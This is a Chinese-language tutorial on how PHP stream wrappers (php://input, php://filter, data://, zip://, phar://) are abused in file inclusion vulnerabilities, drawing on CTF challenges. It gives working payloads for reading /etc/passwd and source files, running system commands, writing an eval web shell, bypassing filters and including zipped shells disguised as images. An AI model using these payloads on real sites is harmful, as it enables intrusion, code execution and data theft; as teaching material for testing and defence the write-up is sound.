PHP伪协议与文件包含
PHP伪协议与文件包含
php:// 协议
php://input
php://filter
data:// 协议
file:// 协议
zip://、bzip2://、zlib://协议
zip://协议
bzip2://协议
zlib://协议
phar://伪协议
文件包含漏洞(File Inclusion)
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些文件包含函数利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
文件包含漏洞特征:
- ?page=a.php
- ?home=b.html
- ?file=content
检测方法:
- ?file=../../../../etc/passwd
- ?page=file:///etc/passwd
- ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt
关于文件包含漏洞的具体详情,我们不再赘述,下面我们来总结一下PHP伪协议在文件包含中的利用。
PHP伪协议与文件包含
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。
首先归纳下常见的文件包含函数:include
、require
、include_once
、require_once
、highlight_file
、show_source
、readfile
、file_get_contents
、fopen
、file
,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:php://filter
、php://input
、file://
、data://
、zip://
、compress.bzip2://
、compress.zlib://
,后续再对每个文件包含函数进一步进行探讨。
环境概要:
PHP.ini:
allow_url_fopen:on 默认开启 该选项用于设置是否允许将URL作为文件处理。该选项为on便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含 URL 对象文件等。
为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。
php:// 协议
利用条件:
- allow_url_fopen:不需要开启
- allow_url_include:仅
php://input php://stdin php://memory php://temp
需要开启
作用:
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取php文件的源码,php://input
用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在双off的情况下也可以正常使用。
php://input
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data
部分,可以将post请求中的数据作为PHP代码执行。
注意:在enctype="multipart/form-data"
的时候php://input
是无效的。
要求PHP.ini:
allow_url_fopen: off或on // 无要求
allow_url_include: on
用法:?file=php://input 数据利用POST直接传过去。如下测试。
测试代码:
<?php echo file_get_contents($_GET['whoami']);?>
测试结果:
成功输出了我们POST过去的data数据。
php://input 执行php代码与写入木马
测试代码:
<?php
$filename = $_GET['file'];include($filename);?>
我们构造如下:
http://192.168.1.103/test.php?file=php://input
[POST DATA部分]:
<?php phpinfo(); ?>
如下,成功执行:
命令执行:
我们构造如下:
http://192.168.1.103/test.php?file=php://input
[POST DATA部分]:
<?php system('ls /'); ?>
若有写入权限,可以写入一句话木马:
http://192.168.1.103/test.php?file=php://input
[POST DATA部分]:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[whoami]);?>');?>
蚁剑连接成功:
php://filter
php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。
php://filter
常用于读取php文件的源码,php://input
用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在allow_url_fopen和allow_url_include双off的情况下也可以正常使用。
要求PHP.ini:
allow_url_fopen: off或on // 无要求
allow_url_include: off或on // 无要求
php://filter参数详解:
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 | 描述 |
---|---|
resource= | 必须项。它指定了你要筛选过滤的数据流。 |
read= | 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write= | 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可用的过滤器列表:
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64 | convert.base64-encode & convert.base64-decode分别等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted | quoted-printable 字符串与 8 为字符串编码解码,有convert.quoted-printable-encode 和 convert.quoted-printable-decode。使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。 |
convert.iconv.* | 这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 |
下面我们来实验用php://filter来读写文件。
测试代码:
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt']; // 写入的内容echo file_get_contents($file1); // 或者是include($file1);
file_put_contents($file2,$txt);?>
读取文件
test.php?file1=php://filter/resource=/etc/passwd
test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php // 专用于读取php文件
测试结果:
读取php文件:
base64解码即可。
在实战中,若是遇上include
、require
、include_once
、require_once
、highlight_file
、show_source
、readfile
、file_get_contents
、fopen
、file
等文件包含函数,我们可以用php://filter来读取php源码。
写入文件
test.php?file2=php://filter/resource=test1.txt&txt=Thanks Bunny!
或
test.php?file2=php://filter/write=convert.base64-encode/resource=test2.txt&txt=Thanks Bunny!
分别执行后查看生成的txt文件:
如上图写入成功。
php://filter 绕过 convert.base64
convert.base64过滤器
convert.base64-encode & convert.base64-decode分别等同于base64_encode()
和base64_decode()
,base64编码解码。最常见的,不再赘述。
如果base64被过滤了,那我们就可以用下面的那几个convert转换过滤器。
convert.quoted过滤器
这个过滤器用于 quoted-printable 字符串与 8 为字符串的编码解码。
有convert.quoted-printable-encode 和 convert.quoted-printable-decode 这两个。
使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。
quoted_printable_decode() 函数对经过 quoted-printable 编码后的字符串进行解码,返回 8 位的 ASCII 字符串
<?php
$str = "I=0Alove=0AShanghai!";
echo quoted_printable_decode($str);
?>
// 输出I love Shanghai!
网上用于quoted-printable 编码解码的网址有:
http://www.mxcz.net/tools/quotedprintable.aspx
http://web.chacuo.net/charsetquotedprintable
测试代码:
<?php include($_GET['file']);?>
我们用flag.php来做实验:
payload:
test.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
convert.iconv.*过滤器
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。*使用convert.iconv.过滤器等同于用iconv()函数处理所有的流数据。
convert.iconv.*
的使用有两种方法
convert.iconv..
或者
convert.iconv./
PHP iconv()函数
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv() — 将字符串按要求的字符编码来转换。
说明
iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 str 从 in_charset 转换编码到 out_charset,返回转换后的字符串。
蓝帽杯有一道题,文件包含用php://filter读源码,但是base64和read=都被过滤了,所以我们可以使用convert.iconv。我们将convert.base64-encode
改为convert.iconv.utf-8.utf-7
,即filename=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
。
测试代码:
<?php include($_GET['file']);?>
payload:
test.php?file=php://filter/read=convert.iconv.utf-8.utf-7/resource=flag.php
// 也就是将utf-8编码转换为utf-7编码
如上图,成功得到flag,其稍作修改即可。
当然,我们也可以用字符串过滤器,如下。
string.rot13(移位编码)
(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据。
string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,即传递一个编码过的字符串作为参数,将得到原始字符串。
测试代码:
<?php include($_GET['file']);?>
payload:
test.php?file=php://filter/read=string.rot13/resource=flag.php
// 也就是将utf-8编码转换为utf-7编码
在网上将其rot13解码即可,解码地址:https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html
data:// 协议
数据流封装器,和php://相似都是利用了流的概念,将原本的要include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含
了你的输入流,通过你输入payload来实现目的。
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
要求PHP.ini:
allow_url_fopen: on
allow_url_include: on
用法:
和php伪协议的php://input类似,碰到file_get_contents()可以用;
<?php // 打印 “输出" echo file_get_contents($_GET[file]); ?>
payload:
test.php?file=data://text/plain;base64,VGhhbmtzJTIwQnVubnklMjE=
如果遇上include文件包含,还可以造成任意代码执行:
测试代码:
<?php include($_GET['file']);?>
payload:
test.php?file=data://text/plain,<?php phpinfo();?>
或
test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以像一下这种形式:
test.php?file=data:text/plain,<?php phpinfo()?>
test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
test.php?file=data:,<?php phpinfo()?>
都是可以的:
有权限的话还可以写shell。
data这里还有这样一个好玩的,这是2020蓝帽杯的一个题,有以下一个限制:
让我们用GET传一个参数,指向一个文件,如果开文件的内容中不存在和
php
,那么就包含该文件。我们的利用思路当然是让他包含一个php文件。
我们用以下方法绕过,即:
file_get_contents('data:,xx/res'); // 将返回字符串'xx/res'
include('data:,xx/res'); // 将包含res文件的内容
证明测试如下:
在Web根目录下有一个test.php,还有一个名为data:,xx
的目录,里面有一个res文件,res文件的内容为 phpinfo();?>
:
访问test.php代码如下:
此时,如果我们输入/test.php?page=data:,xx/res
:
如上图将返回字符串'xx/res'。接下来我们把include前的注释去掉,再测试一遍:
效果可见一斑。利用以上原理,就可以绕过这个限制了。
也就是说,如果data是这种形式:data:,xx/res
,且不存在data:,xx目录的话,include和file_get_contents都返回字符串xx/res
;如果存在data:,xx目录的话,那么include将包含data:,xx目录里的res文件,造成php代码执行,而file_get_contents则任然只会返回字符串xx/res
。
file:// 协议
通过file协议可以访问本地文件系统,读取到文件的内容,
测试代码:
<?php include($_GET['file']);?>
payload:
test.php?file=file:///etc/passwd
但是不能用来读取php文件的源码,且单纯的file://伪协议不配合文件包含漏洞是不能执行文件里的php代码的。
zip://、bzip2://、zlib://协议
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等。
要求php.ini:
allow_url_fopen: off/on // 无要求
allow_url_include: off/on // 无要求
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用。
zip://协议
条件:PHP > =5.3.0,注意在windows下测试要5.3.0
使用方法:
zip://archive.zip#dir/file.txt
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
#
在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
测试代码:
<?php include($_GET['file']);?>
即先在本地将要执行的PHP代码写好文件名为shell.php,再将shell.txt进行zip压缩,压缩文件名为whoami.zip:
如果可以上传zip文件便直接上传,若不能便将whoami.zip重命名为whoami.jpg后再上传,其他几种压缩格式也可以这样操作。然后,就用zip://协议访问我们上传的whoami.zip(或whoami.jpg)里面的shell.php(适用于有文件上传和文件包含的地方):
payload:
test.php?file=zip:///var/www/html/whoami.zip%23shell.txt
bzip2://协议
使用方法:
compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
test.php?file=compress.bzip2://目录/phpinfo.bz2
即可执行phpinfo。
zlib://协议
使用方法:
compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
test.php?file=compress.zlib://目录/phpinfo.bz2
即可执行phpinfo。
phar://伪协议
phar://
协议与zip://
类似,同样可以访问zip格式压缩包内容,不管后缀是什么,都会当做压缩包来解压。
用法:?file=phar://压缩包/内部文件 注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
测试代码:
<?php include($_GET['file']);?>
步骤:写一个木马文件shell.txt,然后用zip协议压缩为whoami.zip,然后将后缀改为png等其他格式,上传,然后再用phar伪协议来访问: (和zip://用法类似的)
test.php?file=phar:///var/www/html/whoami.png/shell.txt